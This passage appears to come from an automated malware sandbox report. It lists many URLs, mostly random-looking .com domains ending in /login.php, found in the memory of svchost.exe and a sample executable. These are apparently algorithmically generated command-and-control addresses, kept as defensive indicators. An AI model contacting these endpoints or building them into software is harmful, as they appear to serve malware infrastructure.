00000005.00000002.2341054199.0000000008FE9000.00000004.00000001.00020000.00000000.sdmp, OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe, 00000005.00000002.2336765148.0000000008BA0000.00000004.00000001.00020000.00000000.sdmp, OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe, 00000005.00000002.2313579209.0000000000D40000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://lygygin.com/login.php
    Source: svchost.exe, 00000001.00000003.1958857886.0000000008AFC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1958569924.0000000008BB7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1959780405.0000000008BB7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1959522129.0000000008BB7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1960011672.000000000089F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1959786912.000000000089D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1962439893.0000000008B05000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1960929560.0000000008AFE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1963059685.0000000008A3A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1965539116.0000000008B0A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1960318072.0000000008AFE000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://lygygux.com/login.php
    Source: svchost.exe, 00000001.00000003.1894208080.0000000008A1C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1895938775.0000000008A1C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2149761878.0000000008B0C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1898499821.0000000008A1D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2146336174.0000000008AFC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2143778963.0000000008A0A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2140072505.0000000008A09000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1902620348.0000000008A3A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2149333396.0000000008B05000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://lygyjuj.com/login.php
    Source: svchost.exe, 00000001.00000003.1876534809.0000000008A13000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://lygylax.com/L
    Source: svchost.exe, 00000001.00000003.1876534809.0000000008A13000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1876527279.0000000008A19000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1882013013.0000000008A3A000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://lygylax.com/x)
    Source: svchost.exe, 00000001.00000003.1788596948.0000000008A44000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1779722435.0000000008A47000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1833647424.0000000002F03000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1779096011.0000000008A47000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1779501399.0000000008A47000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1779124243.0000000008A47000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1779223947.0000000002F5B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1788321159.0000000008A8D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1779650272.0000000008A47000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1788657701.0000000002F5D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1779687726.0000000002F5B000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://lygynud.com/login.php
    Source: svchost.exe, 00000001.00000003.2119051522.0000000008A09000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1876534809.0000000008A13000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1879229849.0000000008B09000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2129829149.0000000008A0C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1876527279.0000000008A19000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2128042608.0000000008A0A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1880310454.0000000008ADD000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2113424628.0000000008A3A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2903357463.0000000008A1C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1878161986.0000000008AF8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2880372058.0000000008AFC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1880477607.0000000008B0B000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://lygytyd.com/login.php
    Source: svchost.exe, 00000001.00000003.1894208080.0000000008A1C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1895938775.0000000008A1C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2140072505.0000000008A13000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1898499821.0000000008A1D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2141003821.0000000008A1C000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://lygywor.com/
    Source: svchost.exe, 00000001.00000003.2898652067.0000000008B05000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1894208080.0000000008A1C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2161825875.0000000008A0E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1904740415.0000000008A1D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1905299063.0000000008A1D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1895938775.0000000008A1C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2174605514.0000000008A09000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1906625484.0000000008A3A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1904744278.0000000008A1B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2180770258.0000000008A0A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1898499821.0000000008A1D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2139976927.0000000002FBA000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2154566378.0000000008A09000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2143778963.0000000008A0A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2140072505.0000000008A09000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1902620348.0000000008A3A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2190135620.0000000008A09000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1903904408.0000000008A1B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2915487629.0000000008AAD000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1898443082.0000000002F5B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2178940663.0000000008A09000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://lygywor.com/login.php
    Source: svchost.exe, 00000001.00000003.1933898185.0000000008B09000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://lygyxad.com/
    Source: svchost.exe, 00000001.00000003.1933898185.0000000008B09000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1944285189.0000000008B0B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2163632600.0000000008B05000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1914445852.0000000008B0D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2903357463.0000000008A1C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1906894619.000000000089B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1909044342.0000000008A3C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1908514523.0000000008B0B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2915487629.0000000008AAD000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1944143633.0000000008AFC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2907916838.0000000002FBA000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://lykygaj.com/login.php
    Source: svchost.exe, 00000001.00000003.1968630518.0000000008A1F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1967423631.0000000008A1E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://lykygun.com/
    Source: svchost.exe, 00000001.00000003.2811723462.0000000008AF8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2019446888.0000000002F97000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2804793756.0000000008A1E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2814550961.0000000008AFC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2020096225.0000000002F97000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2026975926.0000000002F9A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2017443520.0000000002F97000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2017702867.0000000002F97000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://lykygur.com/
    Source: svchost.exe, 00000001.00000003.2811723462.0000000008AF8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2814550961.0000000008AFC000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://lykygur.com/http://qeqytup.com/http://lykygur.com/
    Source: svchost.exe, 00000001.00000003.1693187181.0000000002F65000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2019446888.0000000002F97000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2761249013.0000000008BB7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1980885296.0000000008A1C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2788563099.00000000008A2000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2760203953.0000000008BB7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1978180156.0000000002F7A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1993354280.0000000002F94000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2854734822.0000000008BB7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1993091460.0000000008A1E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2909851006.0000000008BB7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2770707489.0000000008AF8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1993394339.0000000008A3A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2020096225.0000000002F97000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1993170476.0000000002F8F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2026975926.0000000002F9A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1692993962.0000000002F65000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1984984329.0000000008A0C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2017443520.0000000002F97000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2017702867.0000000002F97000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1692942093.0000000002F65000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://lykyjad.com/login.php
    Source: svchost.exe, 00000001.00000003.1894208080.0000000008A1C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1895938775.0000000008A1C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1898499821.0000000008A1D000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://lykylan.com/
    Source: svchost.exe, 00000001.00000003.1894208080.0000000008A1C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1904740415.0000000008A1D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1905299063.0000000008A1D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1895938775.0000000008A1C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2149761878.0000000008B0C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1906625484.0000000008A3A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1904744278.0000000008A1B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1898499821.0000000008A1D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2146336174.0000000008AFC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1902620348.0000000008A3A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1903904408.0000000008A1B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2149333396.0000000008B05000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://lykylan.com/login.php
    Source: svchost.exe, 00000001.00000003.1933898185.0000000008B09000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://lykyser.com/
    Source: svchost.exe, 00000001.00000003.1933898185.0000000008B09000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://lykyser.com/login.php
    Source: svchost.exe, 00000001.00000003.2111617403.0000000008B05000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1875606726.0000000000899000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1870478184.0000000008A20000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1872874383.0000000008A19000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2110034202.0000000008BB7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1874920180.0000000008A1D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1870487910.000000000089F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1870383629.0000000008A20000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1874582176.0000000002FB9000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1872943728.0000000008A14000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://lykysix.com/login.php
    Source: svchost.exe, 00000001.00000003.2119051522.0000000008A09000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1876534809.0000000008A13000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2129829149.0000000008A0C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1876527279.0000000008A19000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2128042608.0000000008A0A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2878663670.0000000008A01000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2880372058.0000000008AFC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1882364910.0000000008A2E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1879495668.0000000008A43000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1875834987.0000000008A47000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://lykytej.com/login.php
    Source: svchost.exe, 00000001.00000003.1876534809.0000000008A13000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1875606726.0000000000899000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1876527279.0000000008A19000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1870478184.0000000008A20000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1872874383.0000000008A19000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2110034202.0000000008BB7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2105674590.0000000008A09000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1874920180.0000000008A1D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1880310454.0000000008ADD000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2119052914.0000000008BB7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1874825901.0000000008B0A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2877208748.0000000008B6F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1874582176.0000000002FB9000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1882364910.0000000008A2E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1875546987.0000000008ADD000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1872943728.0000000008A14000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://lykyvod.com/login.php
    Source: svchost.exe, 00000001.00000003.1894208080.0000000008A06000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://lykywid.com/http://qedyqup.com/P
    Source: svchost.exe, 00000001.00000003.1894208080.0000000008A1C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2161825875.0000000008A0E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1895938775.0000000008A1C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2174605514.0000000008A09000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2149761878.0000000008B0C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1901802901.000000000089E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2180770258.0000000008A0A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1901545057.000000000089C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2154566378.0000000008A09000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2146336174.0000000008AFC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2143778963.0000000008A0A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2140072505.0000000008A09000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2190135620.0000000008A09000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1901290927.0000000000899000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2149333396.0000000008B05000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2178940663.0000000008A09000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2188550735.0000000008A0C000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://lykywid.com/login.php
    Source: svchost.exe, 00000001.00000003.1876534809.0000000008A13000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1876527279.0000000008A19000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2889863215.00000000008A2000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://lykyxur.com/
    Source: svchost.exe, 00000001.00000003.2119051522.0000000008A09000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1876534809.0000000008A13000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2129829149.0000000008A0C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1876527279.0000000008A19000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2128042608.0000000008A0A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2113424628.0000000008A3A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1878161986.0000000008AF8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2880372058.0000000008AFC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1882364910.0000000008A2E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2122956933.0000000008B05000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1879495668.0000000008A43000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://lykyxur.com/login.php
    Source: svchost.exe, 00000001.00000003.1876534809.0000000008A13000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2119051522.0000000008A1F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1876527279.0000000008A19000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2118930556.0000000008A1E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2115683579.0000000008A1E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://lymygyx.com/
    Source: svchost.exe, 00000001.00000003.1876534809.0000000008A13000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1891061151.0000000002F5B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1876527279.0000000008A19000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1889657828.0000000002F5B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2113424628.0000000008A3A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2119052914.0000000008BB7000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://lymygyx.com/login.php
    Source: svchost.exe, 00000001.00000003.1933898185.0000000008B09000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2161825875.0000000008A0E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2163632600.0000000008B05000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1914445852.0000000008B0D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2903357463.0000000008A1C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2158637089.0000000008B05000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1908514523.0000000008B0B000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://lymylij.com/login.php
    Source: svchost.exe, 00000001.00000003.1933696547.0000000002F54000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1936324582.0000000008A3A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2176325655.0000000008A3A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2183449994.0000000002FBB000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2177110574.0000000008B05000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://lymymax.com/login.php
    Source: svchost.exe, 00000001.00000003.2111617403.0000000008B05000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2119051522.0000000008A09000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2129829149.0000000008A0C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1872874383.0000000008A47000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2128042608.0000000008A0A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2105674590.0000000008A09000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1870383629.0000000008A3C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1872943728.0000000008A47000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1874920180.0000000008A47000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1874825901.0000000008B0A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1874582176.0000000002FB9000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1870726684.0000000008A3C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1875834987.0000000008A47000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2889863215.00000000008A2000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1870478184.0000000008A3C000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://lymymud.com/login.php
    Source: svchost.exe, 00000001.00000003.1958857886.0000000008AFC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2261960277.0000000008A1E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2258260984.0000000008A1B000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://lymysox.com/
    Source: svchost.exe, 00000001.00000003.1958857886.0000000008AFC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1958569924.0000000008BB7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2264180640.0000000008A0C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1959780405.0000000008BB7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1959522129.0000000008BB7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2280547985.0000000002FBA000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1962439893.0000000008B05000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1960929560.0000000008AFE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2258260984.0000000008A09000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1963059685.0000000008A3A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1960318072.0000000008AFE000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://lymysox.com/login.php
    Source: svchost.exe, 00000001.00000003.1968630518.0000000008A1F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1968327079.0000000008AFC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2267072964.0000000008A09000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2278879701.0000000008A0C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1968994422.0000000008BD3000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2276411177.0000000008B05000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1967423631.0000000008A1E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2279226567.0000000008A0E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1968394988.0000000008B05000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1968883679.0000000008A3A000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://lymytuj.com/login.php
    Source: svchost.exe, 00000001.00000003.1788596948.0000000008A44000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1779722435.0000000008A47000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2804793756.0000000008A1E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1780390704.000000000089E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2813812181.00000000008A2000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1788621892.00000000008A2000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1779096011.0000000008A47000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1779501399.0000000008A47000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2027010088.0000000008A0D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1779124243.0000000008A47000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 